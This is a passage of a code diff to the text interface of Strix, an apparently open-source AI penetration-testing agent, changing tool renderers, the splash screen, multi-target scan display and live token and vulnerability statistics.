header = "</> [bold #3b82f6]Python[/]"
|
||||
|
||||
if code and action in ["new_session", "execute"]:
|
||||
code_display = code[:250] + "..." if len(code) > 250 else code
|
||||
code_display = code[:600] + "..." if len(code) > 600 else code
|
||||
content_text = f"{header}\n [italic white]{cls.escape_markup(code_display)}[/]"
|
||||
elif action == "close":
|
||||
content_text = f"{header}\n [dim]Closing session...[/]"
|
||||
@@ -54,7 +54,7 @@ def _render_default_tool_widget(tool_data: dict[str, Any]) -> Static:
|
||||
|
||||
status_text = BaseToolRenderer.get_status_icon(status)
|
||||
|
||||
header = f"→ Using tool [bold blue]{tool_name}[/]"
|
||||
header = f"→ Using tool [bold blue]{BaseToolRenderer.escape_markup(tool_name)}[/]"
|
||||
content_parts = [header]
|
||||
|
||||
args_str = BaseToolRenderer.format_args(args)
|
||||
+2
-1
@@ -27,7 +27,8 @@ class CreateVulnerabilityReportRenderer(BaseToolRenderer):
|
||||
if severity:
|
||||
severity_color = cls._get_severity_color(severity.lower())
|
||||
content_parts.append(
|
||||
f" [dim]Severity: [{severity_color}]{severity.upper()}[/{severity_color}][/]"
|
||||
f" [dim]Severity: [{severity_color}]"
|
||||
f"{cls.escape_markup(severity.upper())}[/{severity_color}][/]"
|
||||
)
|
||||
|
||||
if content:
|
||||
+21
-14
@@ -16,24 +16,29 @@ class ScanStartInfoRenderer(BaseToolRenderer):
|
||||
args = tool_data.get("args", {})
|
||||
status = tool_data.get("status", "unknown")
|
||||
|
||||
target = args.get("target", {})
|
||||
targets = args.get("targets", [])
|
||||
|
||||
target_display = cls._build_target_display(target)
|
||||
|
||||
content = f"🚀 Starting scan on {target_display}"
|
||||
if len(targets) == 1:
|
||||
target_display = cls._build_single_target_display(targets[0])
|
||||
content = f"🚀 Starting penetration test on {target_display}"
|
||||
elif len(targets) > 1:
|
||||
content = f"🚀 Starting penetration test on {len(targets)} targets"
|
||||
for target_info in targets:
|
||||
target_display = cls._build_single_target_display(target_info)
|
||||
content += f"\n • {target_display}"
|
||||
else:
|
||||
content = "🚀 Starting penetration test"
|
||||
|
||||
css_classes = cls.get_css_classes(status)
|
||||
return Static(content, classes=css_classes)
|
||||
|
||||
@classmethod
|
||||
def _build_target_display(cls, target: dict[str, Any]) -> str:
|
||||
if target_url := target.get("target_url"):
|
||||
return f"[bold #22c55e]{target_url}[/bold #22c55e]"
|
||||
if target_repo := target.get("target_repo"):
|
||||
return f"[bold #22c55e]{target_repo}[/bold #22c55e]"
|
||||
if target_path := target.get("target_path"):
|
||||
return f"[bold #22c55e]{target_path}[/bold #22c55e]"
|
||||
return "[dim]unknown target[/dim]"
|
||||
def _build_single_target_display(cls, target_info: dict[str, Any]) -> str:
|
||||
original = target_info.get("original")
|
||||
if original:
|
||||
return cls.escape_markup(str(original))
|
||||
|
||||
return "unknown target"
|
||||
|
||||
|
||||
@register_tool_renderer
|
||||
@@ -49,9 +54,11 @@ class SubagentStartInfoRenderer(BaseToolRenderer):
|
||||
name = args.get("name", "Unknown Agent")
|
||||
task = args.get("task", "")
|
||||
|
||||
content = f"🤖 Spawned subagent [bold #22c55e]{name}[/bold #22c55e]"
|
||||
name = cls.escape_markup(str(name))
|
||||
content = f"🤖 Spawned subagent {name}"
|
||||
if task:
|
||||
content += f"\n Task: [dim]{task}[/dim]"
|
||||
task = cls.escape_markup(str(task))
|
||||
content += f"\n Task: {task}"
|
||||
|
||||
css_classes = cls.get_css_classes(status)
|
||||
return Static(content, classes=css_classes)
|
||||
@@ -0,0 +1,131 @@
|
||||
from typing import Any, ClassVar
|
||||
|
||||
from textual.widgets import Static
|
||||
|
||||
from .base_renderer import BaseToolRenderer
|
||||
from .registry import register_tool_renderer
|
||||
|
||||
|
||||
@register_tool_renderer
|
||||
class TerminalRenderer(BaseToolRenderer):
|
||||
tool_name: ClassVar[str] = "terminal_execute"
|
||||
css_classes: ClassVar[list[str]] = ["tool-call", "terminal-tool"]
|
||||
|
||||
@classmethod
|
||||
def render(cls, tool_data: dict[str, Any]) -> Static:
|
||||
args = tool_data.get("args", {})
|
||||
status = tool_data.get("status", "unknown")
|
||||
result = tool_data.get("result", {})
|
||||
|
||||
command = args.get("command", "")
|
||||
is_input = args.get("is_input", False)
|
||||
terminal_id = args.get("terminal_id", "default")
|
||||
timeout = args.get("timeout")
|
||||
|
||||
content = cls._build_sleek_content(command, is_input, terminal_id, timeout, result)
|
||||
|
||||
css_classes = cls.get_css_classes(status)
|
||||
return Static(content, classes=css_classes)
|
||||
|
||||
@classmethod
|
||||
def _build_sleek_content(
|
||||
cls,
|
||||
command: str,
|
||||
is_input: bool,
|
||||
terminal_id: str, # noqa: ARG003
|
||||
timeout: float | None, # noqa: ARG003
|
||||
result: dict[str, Any], # noqa: ARG003
|
||||
) -> str:
|
||||
terminal_icon = ">_"
|
||||
|
||||
if not command.strip():
|
||||
return f"{terminal_icon} [dim]getting logs...[/]"
|
||||
|
||||
control_sequences = {
|
||||
"C-c",
|
||||
"C-d",
|
||||
"C-z",
|
||||
"C-a",
|
||||
"C-e",
|
||||
"C-k",
|
||||
"C-l",
|
||||
"C-u",
|
||||
"C-w",
|
||||
"C-r",
|
||||
"C-s",
|
||||
"C-t",
|
||||
"C-y",
|
||||
"^c",
|
||||
"^d",
|
||||
"^z",
|
||||
"^a",
|
||||
"^e",
|
||||
"^k",
|
||||
"^l",
|
||||
"^u",
|
||||
"^w",
|
||||
"^r",
|
||||
"^s",
|
||||
"^t",
|
||||
"^y",
|
||||
}
|
||||
special_keys = {
|
||||
"Enter",
|
||||
"Escape",
|
||||
"Space",
|
||||
"Tab",
|
||||
"BTab",
|
||||
"BSpace",
|
||||
"DC",
|
||||
"IC",
|
||||
"Up",
|
||||
"Down",
|
||||
"Left",
|
||||
"Right",
|
||||
"Home",
|
||||
"End",
|
||||
"PageUp",
|
||||
"PageDown",
|
||||
"PgUp",
|
||||
"PgDn",
|
||||
"PPage",
|
||||
"NPage",
|
||||
"F1",
|
||||
"F2",
|
||||
"F3",
|
||||
"F4",
|
||||
"F5",
|
||||
"F6",
|
||||
"F7",
|
||||
"F8",
|
||||
"F9",
|
||||
"F10",
|
||||
"F11",
|
||||
"F12",
|
||||
}
|
||||
|
||||
is_special = (
|
||||
command in control_sequences
|
||||
or command in special_keys
|
||||
or command.startswith(("M-", "S-", "C-S-", "C-M-", "S-M-"))
|
||||
)
|
||||
|
||||
if is_special:
|
||||
return f"{terminal_icon} [#ef4444]{cls.escape_markup(command)}[/]"
|
||||
|
||||
if is_input:
|
||||
formatted_command = cls._format_command_display(command)
|
||||
return f"{terminal_icon} [#3b82f6]>>>[/] [#22c55e]{formatted_command}[/]"
|
||||
|
||||
formatted_command = cls._format_command_display(command)
|
||||
return f"{terminal_icon} [#22c55e]$ {formatted_command}[/]"
|
||||
|
||||
@classmethod
|
||||
def _format_command_display(cls, command: str) -> str:
|
||||
if not command:
|
||||
return ""
|
||||
|
||||
if len(command) > 400:
|
||||
command = command[:397] + "..."
|
||||
|
||||
return cls.escape_markup(command)
|
||||
+1
-1
@@ -20,7 +20,7 @@ class ThinkRenderer(BaseToolRenderer):
|
||||
header = "🧠 [bold #a855f7]Thinking[/]"
|
||||
|
||||
if thought:
|
||||
thought_display = thought[:200] + "..." if len(thought) > 200 else thought
|
||||
thought_display = thought[:600] + "..." if len(thought) > 600 else thought
|
||||
content = f"{header}\n [italic dim]{cls.escape_markup(thought_display)}[/]"
|
||||
else:
|
||||
content = f"{header}\n [italic dim]Thinking...[/]"
|
||||
@@ -7,8 +7,20 @@ import signal
|
||||
import sys
|
||||
import threading
|
||||
from collections.abc import Callable
|
||||
from typing import Any, ClassVar
|
||||
from importlib.metadata import PackageNotFoundError
|
||||
from importlib.metadata import version as pkg_version
|
||||
from typing import TYPE_CHECKING, Any, ClassVar, cast
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from textual.timer import Timer
|
||||
|
||||
from rich.align import Align
|
||||
from rich.console import Group
|
||||
from rich.markup import escape as rich_escape
|
||||
from rich.panel import Panel
|
||||
from rich.style import Style
|
||||
from rich.text import Text
|
||||
from textual import events, on
|
||||
from textual.app import App, ComposeResult
|
||||
from textual.binding import Binding
|
||||
@@ -19,20 +31,28 @@ from textual.widgets import Button, Label, Static, TextArea, Tree
|
||||
from textual.widgets.tree import TreeNode
|
||||
|
||||
from strix.agents.StrixAgent import StrixAgent
|
||||
from strix.cli.tracer import Tracer, set_global_tracer
|
||||
from strix.interface.utils import build_live_stats_text
|
||||
from strix.llm.config import LLMConfig
|
||||
from strix.telemetry.tracer import Tracer, set_global_tracer
|
||||
|
||||
|
||||
def escape_markup(text: str) -> str:
|
||||
return text.replace("[", "\\[").replace("]", "\\]")
|
||||
return cast("str", rich_escape(text))
|
||||
|
||||
|
||||
def get_package_version() -> str:
|
||||
try:
|
||||
return pkg_version("strix-agent")
|
||||
except PackageNotFoundError:
|
||||
return "dev"
|
||||
|
||||
|
||||
class ChatTextArea(TextArea): # type: ignore[misc]
|
||||
def __init__(self, *args: Any, **kwargs: Any) -> None:
|
||||
super().__init__(*args, **kwargs)
|
||||
self._app_reference: StrixCLIApp | None = None
|
||||
self._app_reference: StrixTUIApp | None = None
|
||||
|
||||
def set_app_reference(self, app: "StrixCLIApp") -> None:
|
||||
def set_app_reference(self, app: "StrixTUIApp") -> None:
|
||||
self._app_reference = app
|
||||
|
||||
def _on_key(self, event: events.Key) -> None:
|
||||
@@ -51,24 +71,85 @@ class ChatTextArea(TextArea): # type: ignore[misc]
|
||||
|
||||
|
||||
class SplashScreen(Static): # type: ignore[misc]
|
||||
PRIMARY_GREEN = "#22c55e"
|
||||
BANNER = (
|
||||
" ███████╗████████╗██████╗ ██╗██╗ ██╗\n"
|
||||
" ██╔════╝╚══██╔══╝██╔══██╗██║╚██╗██╔╝\n"
|
||||
" ███████╗ ██║ ██████╔╝██║ ╚███╔╝\n"
|
||||
" ╚════██║ ██║ ██╔══██╗██║ ██╔██╗\n"
|
||||
" ███████║ ██║ ██║ ██║██║██╔╝ ██╗\n"
|
||||
" ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝"
|
||||
)
|
||||
|
||||
def __init__(self, *args: Any, **kwargs: Any) -> None:
|
||||
super().__init__(*args, **kwargs)
|
||||
self._animation_step = 0
|
||||
self._animation_timer: Timer | None = None
|
||||
self._panel_static: Static | None = None
|
||||
self._version = "dev"
|
||||
|
||||
def compose(self) -> ComposeResult:
|
||||
ascii_art = r"""
|
||||
[bright_green]
|
||||
self._version = get_package_version()
|
||||
self._animation_step = 0
|
||||
start_line = self._build_start_line_text(self._animation_step)
|
||||
panel = self._build_panel(start_line)
|
||||
|
||||
panel_static = Static(panel, id="splash_content")
|
||||
self._panel_static = panel_static
|
||||
yield panel_static
|
||||
|
||||
███████╗████████╗██████╗ ██╗██╗ ██╗
|
||||
██╔════╝╚══██╔══╝██╔══██╗██║╚██╗██╔╝
|
||||
███████╗ ██║ ██████╔╝██║ ╚███╔╝
|
||||
╚════██║ ██║ ██╔══██╗██║ ██╔██╗
|
||||
███████║ ██║ ██║ ██║██║██╔╝ ██╗
|
||||
╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝
|
||||
def on_mount(self) -> None:
|
||||
self._animation_timer = self.set_interval(0.45, self._animate_start_line)
|
||||
|
||||
def on_unmount(self) -> None:
|
||||
if self._animation_timer is not None:
|
||||
self._animation_timer.stop()
|
||||
self._animation_timer = None
|
||||
|
||||
[/bright_green]
|
||||
def _animate_start_line(self) -> None:
|
||||
if not self._panel_static:
|
||||
return
|
||||
|
||||
[bright_green]Starting Strix Cybersecurity Agent...[/bright_green]
|
||||
"""
|
||||
yield Static(ascii_art, id="splash_content")
|
||||
self._animation_step += 1
|
||||
start_line = self._build_start_line_text(self._animation_step)
|
||||
panel = self._build_panel(start_line)
|
||||
self._panel_static.update(panel)
|
||||
|
||||
def _build_panel(self, start_line: Text) -> Panel:
|
||||
content = Group(
|
||||
Align.center(Text(self.BANNER.strip("\n"), style=self.PRIMARY_GREEN, justify="center")),
|
||||
Align.center(Text(" ")),
|
||||
Align.center(self._build_welcome_text()),
|
||||
Align.center(self._build_version_text()),
|
||||
Align.center(self._build_tagline_text()),
|
||||
Align.center(Text(" ")),
|
||||
Align.center(start_line.copy()),
|
||||
)
|
||||
|
||||
return Panel.fit(content, border_style=self.PRIMARY_GREEN, padding=(1, 6))
|
||||
|
||||
def _build_welcome_text(self) -> Text:
|
||||
text = Text("Welcome to ", style=Style(color="white", bold=True))
|
||||
text.append("Strix", style=Style(color=self.PRIMARY_GREEN, bold=True))
|
||||
text.append("!", style=Style(color="white", bold=True))
|
||||
return text
|
||||
|
||||
def _build_version_text(self) -> Text:
|
||||
return Text(f"v{self._version}", style=Style(color="white", dim=True))
|
||||
|
||||
def _build_tagline_text(self) -> Text:
|
||||
return Text("Open-source AI hackers for your apps", style=Style(color="white", dim=True))
|
||||
|
||||
def _build_start_line_text(self, phase: int) -> Text:
|
||||
emphasize = phase % 2 == 1
|
||||
base_style = Style(color="white", dim=not emphasize, bold=emphasize)
|
||||
strix_style = Style(color=self.PRIMARY_GREEN, bold=bool(emphasize))
|
||||
|
||||
text = Text("Starting ", style=base_style)
|
||||
text.append("Strix", style=strix_style)
|
||||
text.append(" Cybersecurity Agent", style=base_style)
|
||||
|
||||
return text
|
||||
|
||||
|
||||
class HelpScreen(ModalScreen): # type: ignore[misc]
|
||||
@@ -180,8 +261,8 @@ class QuitScreen(ModalScreen): # type: ignore[misc]
|
||||
self.app.pop_screen()
|
||||
|
||||
|
||||
class StrixCLIApp(App): # type: ignore[misc]
|
||||
CSS_PATH = "assets/cli.tcss"
|
||||
class StrixTUIApp(App): # type: ignore[misc]
|
||||
CSS_PATH = "assets/tui_styles.tcss"
|
||||
|
||||
selected_agent_id: reactive[str | None] = reactive(default=None)
|
||||
show_splash: reactive[bool] = reactive(default=True)
|
||||
@@ -232,8 +313,7 @@ class StrixCLIApp(App): # type: ignore[misc]
|
||||
def _build_scan_config(self, args: argparse.Namespace) -> dict[str, Any]:
|
||||
return {
|
||||
"scan_id": args.run_name,
|
||||
"scan_type": args.target_type,
|
||||
"target": args.target_dict,
|
||||
"targets": args.targets_info,
|
||||
"user_instructions": args.instruction or "",
|
||||
"run_name": args.run_name,
|
||||
}
|
||||
@@ -243,11 +323,11 @@ class StrixCLIApp(App): # type: ignore[misc]
|
||||
|
||||
config = {
|
||||
"llm_config": llm_config,
|
||||
"max_iterations": 200,
|
||||
"max_iterations": 300,
|
||||
}
|
||||
|
||||
if args.target_type == "local_code" and "target_path" in args.target_dict:
|
||||
config["local_source_path"] = args.target_dict["target_path"]
|
||||
if getattr(args, "local_sources", None):
|
||||
config["local_sources"] = args.local_sources
|
||||
|
||||
return config
|
||||
|
||||
@@ -314,8 +394,12 @@ class StrixCLIApp(App): # type: ignore[misc]
|
||||
agents_tree.guide_depth = 3
|
||||
agents_tree.guide_style = "dashed"
|
||||
|
||||
stats_display = Static("", id="stats_display")
|
||||
|
||||
sidebar = Vertical(agents_tree, stats_display, id="sidebar")
|
||||
|
||||
content_container.mount(chat_area_container)
|
||||
content_container.mount(agents_tree)
|
||||
content_container.mount(sidebar)
|
||||
|
||||
chat_area_container.mount(chat_history)
|
||||
chat_area_container.mount(agent_status_display)
|
||||
@@ -358,7 +442,7 @@ class StrixCLIApp(App): # type: ignore[misc]
|
||||
def on_mount(self) -> None:
|
||||
self.title = "strix"
|
||||
|
||||
self.set_timer(3.0, self._hide_splash_screen)
|
||||
self.set_timer(4.5, self._hide_splash_screen)
|
||||
|
||||
def _hide_splash_screen(self) -> None:
|
||||
self.show_splash = False
|
||||
@@ -402,6 +486,8 @@ class StrixCLIApp(App): # type: ignore[misc]
|
||||
|
||||
self._update_agent_status_display()
|
||||
|
||||
self._update_stats_display()
|
||||
|
||||
def _update_agent_node(self, agent_id: str, agent_data: dict[str, Any]) -> bool:
|
||||
if agent_id not in self.agent_nodes:
|
||||
return False
|
||||
@@ -418,6 +504,7 @@ class StrixCLIApp(App): # type: ignore[misc]
|
||||
"failed": "❌",
|
||||
"stopped": "⏹️",
|
||||
"stopping": "⏸️",
|
||||
"llm_failed": "🔴",
|
||||
}
|
||||
|
||||
status_icon = status_indicators.get(status, "🔵")
|
||||
@@ -480,7 +567,7 @@ class StrixCLIApp(App): # type: ignore[misc]
|
||||
self._displayed_events = current_event_ids
|
||||
|
||||
chat_display = self.query_one("#chat_display", Static)
|
||||
chat_display.update(content)
|
||||
self._update_static_content_safe(chat_display, content)
|
||||
|
||||
chat_display.set_classes(css_class)
|
||||
|
||||
@@ -542,6 +629,19 @@ class StrixCLIApp(App): # type: ignore[misc]
|
||||
self._safe_widget_operation(status_text.update, "Agent completed")
|
||||
self._safe_widget_operation(keymap_indicator.update, "")
|
||||
self._safe_widget_operation(status_display.remove_class, "hidden")
|
||||
elif status == "llm_failed":
|
||||
error_msg = agent_data.get("error_message", "")
|
||||
display_msg = (
|
||||
f"[red]{escape_markup(error_msg)}[/red]"
|
||||
if error_msg
|
||||
else "[red]LLM request failed[/red]"
|
||||
)
|
||||
self._safe_widget_operation(status_text.update, display_msg)
|
||||
self._safe_widget_operation(
|
||||
keymap_indicator.update, "[dim]Send message to retry[/dim]"
|
||||
)
|
||||
self._safe_widget_operation(status_display.remove_class, "hidden")
|
||||
self._stop_dot_animation()
|
||||
elif status == "waiting":
|
||||
animated_text = self._get_animated_waiting_text(self.selected_agent_id)
|
||||
self._safe_widget_operation(status_text.update, animated_text)
|
||||
@@ -554,7 +654,9 @@ class StrixCLIApp(App): # type: ignore[misc]
|
||||
current_verb = self._get_agent_verb(self.selected_agent_id)
|
||||
animated_text = self._get_animated_verb_text(self.selected_agent_id, current_verb)
|
||||
self._safe_widget_operation(status_text.update, animated_text)
|
||||
self._safe_widget_operation(keymap_indicator.update, "[dim]ESC to stop agent[/dim]")
|
||||
self._safe_widget_operation(
|
||||
keymap_indicator.update, "[dim]ESC to stop | CTRL-C to quit and save[/dim]"
|
||||
)
|
||||
self._safe_widget_operation(status_display.remove_class, "hidden")
|
||||
self._start_dot_animation()
|
||||
else:
|
||||
@@ -563,6 +665,33 @@ class StrixCLIApp(App): # type: ignore[misc]
|
||||
except (KeyError, Exception):
|
||||
self._safe_widget_operation(status_display.add_class, "hidden")
|
||||
|
||||
def _update_stats_display(self) -> None:
|
||||
try:
|
||||
stats_display = self.query_one("#stats_display", Static)
|
||||
except (ValueError, Exception):
|
||||
return
|
||||
|
||||
if not self._is_widget_safe(stats_display):
|
||||
return
|
||||
|
||||
stats_content = Text()
|
||||
|
||||
stats_text = build_live_stats_text(self.tracer)
|
||||
if stats_text:
|
||||
stats_content.append(stats_text)
|
||||
|
||||
from rich.panel import Panel
|
||||
|
||||
stats_panel = Panel(
|
||||
stats_content,
|
||||
title="📊 Live Stats",
|
||||
title_align="left",
|
||||
border_style="#22c55e",
|
||||
padding=(0, 1),
|
||||
)
|
||||
|
||||
self._safe_widget_operation(stats_display.update, stats_panel)
|
||||
|
||||
def _get_agent_verb(self, agent_id: str) -> str:
|
||||
if agent_id not in self._agent_verbs:
|
||||
self._agent_verbs[agent_id] = random.choice(self._action_verbs) # nosec B311 # noqa: S311
|
||||
@@ -864,7 +993,7 @@ class StrixCLIApp(App): # type: ignore[misc]
|
||||
return ""
|
||||
|
||||
if role == "user":
|
||||
from strix.cli.tool_components.user_message_renderer import UserMessageRenderer
|
||||
from strix.interface.tool_components.user_message_renderer import UserMessageRenderer
|
||||
|
||||
return UserMessageRenderer.render_simple(content)
|
||||
return content
|
||||
@@ -876,7 +1005,7 @@ class StrixCLIApp(App): # type: ignore[misc]
|
||||
result = tool_data.get("result")
|
||||
|
||||
tool_colors = {
|
||||
"terminal_action": "#22c55e",
|
||||
"terminal_execute": "#22c55e",
|
||||
"browser_action": "#06b6d4",
|
||||
"python_action": "#3b82f6",
|
||||
"agents_graph_action": "#fbbf24",
|
||||
@@ -889,17 +1018,26 @@ class StrixCLIApp(App): # type: ignore[misc]
|
||||
"reporting_action": "#ea580c",
|
||||
"scan_start_info": "#22c55e",
|
||||
"subagent_start_info": "#22c55e",
|
||||
"llm_error_details": "#dc2626",
|
||||
}
|
||||
|
||||
color = tool_colors.get(tool_name, "#737373")
|
||||
|
||||
from strix.cli.tool_components.registry import get_tool_renderer
|
||||
from strix.interface.tool_components.registry import get_tool_renderer
|
||||
|
||||
renderer = get_tool_renderer(tool_name)
|
||||
|
||||
if renderer:
|
||||
widget = renderer.render(tool_data)
|
||||
content = str(widget.renderable)
|
||||
elif tool_name == "llm_error_details":
|
||||
lines = ["[red]✗ LLM Request Failed[/red]"]
|
||||
if args.get("details"):
|
||||
details = args["details"]
|
||||
if len(details) > 300:
|
||||
details = details[:297] + "..."
|
||||
lines.append(f"[dim]Details:[/dim] {escape_markup(details)}")
|
||||
content = "\n".join(lines)
|
||||
else:
|
||||
status_icons = {
|
||||
"running": "[yellow]●[/yellow]",
|
||||
@@ -1116,7 +1254,21 @@ class StrixCLIApp(App): # type: ignore[misc]
|
||||
else:
|
||||
return True
|
||||
|
||||
def _update_static_content_safe(self, widget: Static, content: str) -> None:
|
||||
try:
|
||||
widget.update(content)
|
||||
except Exception: # noqa: BLE001
|
||||
try:
|
||||
safe_text = Text.from_markup(content)
|
||||
widget.update(safe_text)
|
||||
except Exception: # noqa: BLE001
|
||||
import re
|
||||
|
||||
async def run_strix_cli(args: argparse.Namespace) -> None:
|
||||
app = StrixCLIApp(args)
|
||||
plain_text = re.sub(r"\[.*?\]", "", content)
|
||||
widget.update(plain_text)
|
||||
|
||||
|
||||
async def run_tui(args: argparse.Namespace) -> None:
|
||||
"""Run strix in interactive TUI mode with textual."""
|
||||
app = StrixTUIApp(args)
|
||||
await app.run_async()
|
||||
@@ -0,0 +1,559 @@
|
||||
import ipaddress
|
||||
import re
|
||||
import secrets
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
from urllib.parse import urlparse
|
||||
|
||||
import docker
|
||||
from docker.errors import DockerException, ImageNotFound
|
||||
from rich.console import Console
|
||||
from rich.panel import Panel
|
||||
from rich.text import Text
|
||||
|
||||
|
||||
# Token formatting utilities
|
||||
def format_token_count(count: float) -> str:
|
||||
count = int(count)
|
||||
if count >= 1_000_000:
|
||||
return f"{count / 1_000_000:.1f}M"
|
||||
if count >= 1_000:
|
||||
return f"{count / 1_000:.1f}K"
|
||||
return str(count)
|
||||
|
||||
|
||||
# Display utilities
|
||||
def get_severity_color(severity: str) -> str:
|
||||
severity_colors = {
|
||||
"critical": "#dc2626",
|
||||
"high": "#ea580c",
|
||||
"medium": "#d97706",
|
||||
"low": "#65a30d",
|
||||
"info": "#0284c7",
|
||||
}
|
||||
return severity_colors.get(severity, "#6b7280")
|
||||
|
||||
|
||||
def _build_vulnerability_stats(stats_text: Text, tracer: Any) -> None:
|
||||
"""Build vulnerability section of stats text."""
|
||||
vuln_count = len(tracer.vulnerability_reports)
|
||||
|
||||
if vuln_count > 0:
|
||||
severity_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0}
|
||||
for report in tracer.vulnerability_reports:
|
||||
severity = report.get("severity", "").lower()
|
||||
if severity in severity_counts:
|
||||
severity_counts[severity] += 1
|
||||
|
||||
stats_text.append("🔍 Vulnerabilities Found: ", style="bold red")
|
||||
|
||||
severity_parts = []
|
||||
for severity in ["critical", "high", "medium", "low", "info"]:
|
||||
count = severity_counts[severity]
|
||||
if count > 0:
|
||||
severity_color = get_severity_color(severity)
|
||||
severity_text = Text()
|
||||
severity_text.append(f"{severity.upper()}: ", style=severity_color)
|
||||
severity_text.append(str(count), style=f"bold {severity_color}")
|
||||
severity_parts.append(severity_text)
|
||||
|
||||
for i, part in enumerate(severity_parts):
|
||||
stats_text.append(part)
|
||||
if i < len(severity_parts) - 1:
|
||||
stats_text.append(" | ", style="dim white")
|
||||
|
||||
stats_text.append(" (Total: ", style="dim white")
|
||||
stats_text.append(str(vuln_count), style="bold yellow")
|
||||
stats_text.append(")", style="dim white")
|
||||
stats_text.append("\n")
|
||||
else:
|
||||
stats_text.append("🔍 Vulnerabilities Found: ", style="bold green")
|
||||
stats_text.append("0", style="bold white")
|
||||
stats_text.append(" (No exploitable vulnerabilities detected)", style="dim green")
|
||||
stats_text.append("\n")
|
||||
|
||||
|
||||
def _build_llm_stats(stats_text: Text, total_stats: dict[str, Any]) -> None:
|
||||
"""Build LLM usage section of stats text."""
|
||||
if total_stats["requests"] > 0:
|
||||
stats_text.append("\n")
|
||||
stats_text.append("📥 Input Tokens: ", style="bold cyan")
|
||||
stats_text.append(format_token_count(total_stats["input_tokens"]), style="bold white")
|
||||
|
||||
if total_stats["cached_tokens"] > 0:
|
||||
stats_text.append(" • ", style="dim white")
|
||||
stats_text.append("⚡ Cached Tokens: ", style="bold green")
|
||||
stats_text.append(format_token_count(total_stats["cached_tokens"]), style="bold white")
|
||||
|
||||
stats_text.append(" • ", style="dim white")
|
||||
stats_text.append("📤 Output Tokens: ", style="bold cyan")
|
||||
stats_text.append(format_token_count(total_stats["output_tokens"]), style="bold white")
|
||||
|
||||
if total_stats["cost"] > 0:
|
||||
stats_text.append(" • ", style="dim white")
|
||||
stats_text.append("💰 Total Cost: ", style="bold cyan")
|
||||
stats_text.append(f"${total_stats['cost']:.4f}", style="bold yellow")
|
||||
else:
|
||||
stats_text.append("\n")
|
||||
stats_text.append("💰 Total Cost: ", style="bold cyan")
|
||||
stats_text.append("$0.0000 ", style="bold yellow")
|
||||
stats_text.append("• ", style="bold white")
|
||||
stats_text.append("📊 Tokens: ", style="bold cyan")
|
||||
stats_text.append("0", style="bold white")
|
||||
|
||||
|
||||
def build_final_stats_text(tracer: Any) -> Text:
|
||||
"""Build stats text for final output with detailed messages and LLM usage."""
|
||||
stats_text = Text()
|
||||
if not tracer:
|
||||
return stats_text
|
||||
|
||||
_build_vulnerability_stats(stats_text, tracer)
|
||||
|
||||
tool_count = tracer.get_real_tool_count()
|
||||
agent_count = len(tracer.agents)
|
||||
|
||||
stats_text.append("🤖 Agents Used: ", style="bold cyan")
|
||||
stats_text.append(str(agent_count), style="bold white")
|
||||
stats_text.append(" • ", style="dim white")
|
||||
stats_text.append("🛠️ Tools Called: ", style="bold cyan")
|
||||
stats_text.append(str(tool_count), style="bold white")
|
||||
|
||||
llm_stats = tracer.get_total_llm_stats()
|
||||
_build_llm_stats(stats_text, llm_stats["total"])
|
||||
|
||||
return stats_text
|
||||
|
||||
|
||||
def build_live_stats_text(tracer: Any) -> Text:
|
||||
stats_text = Text()
|
||||
if not tracer:
|
||||
return stats_text
|
||||
|
||||
vuln_count = len(tracer.vulnerability_reports)
|
||||
tool_count = tracer.get_real_tool_count()
|
||||
agent_count = len(tracer.agents)
|
||||
|
||||
stats_text.append("🔍 Vulnerabilities: ", style="bold white")
|
||||
stats_text.append(f"{vuln_count}", style="dim white")
|
||||
stats_text.append("\n")
|
||||
if vuln_count > 0:
|
||||
severity_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0}
|
||||
for report in tracer.vulnerability_reports:
|
||||
severity = report.get("severity", "").lower()
|
||||
if severity in severity_counts:
|
||||
severity_counts[severity] += 1
|
||||
|
||||
severity_parts = []
|
||||
for severity in ["critical", "high", "medium", "low", "info"]:
|
||||
count = severity_counts[severity]
|
||||
if count > 0:
|
||||
severity_color = get_severity_color(severity)
|
||||
severity_text = Text()
|
||||
severity_text.append(f"{severity.upper()}: ", style=severity_color)
|
||||
severity_text.append(str(count), style=f"bold {severity_color}")
|
||||
severity_parts.append(severity_text)
|
||||
|
||||
for i, part in enumerate(severity_parts):
|
||||
stats_text.append(part)
|
||||
if i < len(severity_parts) - 1:
|
||||
stats_text.append(" | ", style="dim white")
|
||||
|
||||
stats_text.append("\n")
|
||||
|
||||
stats_text.append("🤖 Agents: ", style="bold white")
|
||||
stats_text.append(str(agent_count), style="dim white")
|
||||
stats_text.append(" • ", style="dim white")
|
||||
stats_text.append("🛠️ Tools: ", style="bold white")
|
||||
stats_text.append(str(tool_count), style="dim white")
|
||||
|
||||
llm_stats = tracer.get_total_llm_stats()
|
||||
total_stats = llm_stats["total"]
|
||||
|
||||
stats_text.append("\n")
|
||||
|
||||
stats_text.append("📥 Input: ", style="bold white")
|
||||
stats_text.append(format_token_count(total_stats["input_tokens"]), style="dim white")
|
||||
|
||||
stats_text.append(" • ", style="dim white")
|
||||
stats_text.append("⚡ ", style="bold white")
|
||||
stats_text.append("Cached: ", style="bold white")
|
||||
stats_text.append(format_token_count(total_stats["cached_tokens"]), style="dim white")
|
||||
|
||||
stats_text.append("\n")
|
||||
|
||||
stats_text.append("📤 Output: ", style="bold white")
|
||||
stats_text.append(format_token_count(total_stats["output_tokens"]), style="dim white")
|
||||
|
||||
stats_text.append(" • ", style="dim white")
|
||||
stats_text.append("💰 Cost: ", style="bold white")
|
||||
stats_text.append(f"${total_stats['cost']:.4f}", style="dim white")
|
||||
|
||||
return stats_text
|
||||
|
||||
|
||||
# Name generation utilities
|
||||
|
||||
|
||||
def _slugify_for_run_name(text: str, max_length: int = 32) -> str:
|
||||
text = text.lower().strip()
|
||||
text = re.sub(r"[^a-z0-9]+", "-", text)
|
||||
text = text.strip("-")
|
||||
if len(text) > max_length:
|
||||
text = text[:max_length].rstrip("-")
|
||||
return text or "pentest"
|
||||
|
||||
|
||||
def _derive_target_label_for_run_name(targets_info: list[dict[str, Any]] | None) -> str: # noqa: PLR0911
|
||||
if not targets_info:
|
||||
return "pentest"
|
||||
|
||||
first = targets_info[0]
|
||||
target_type = first.get("type")
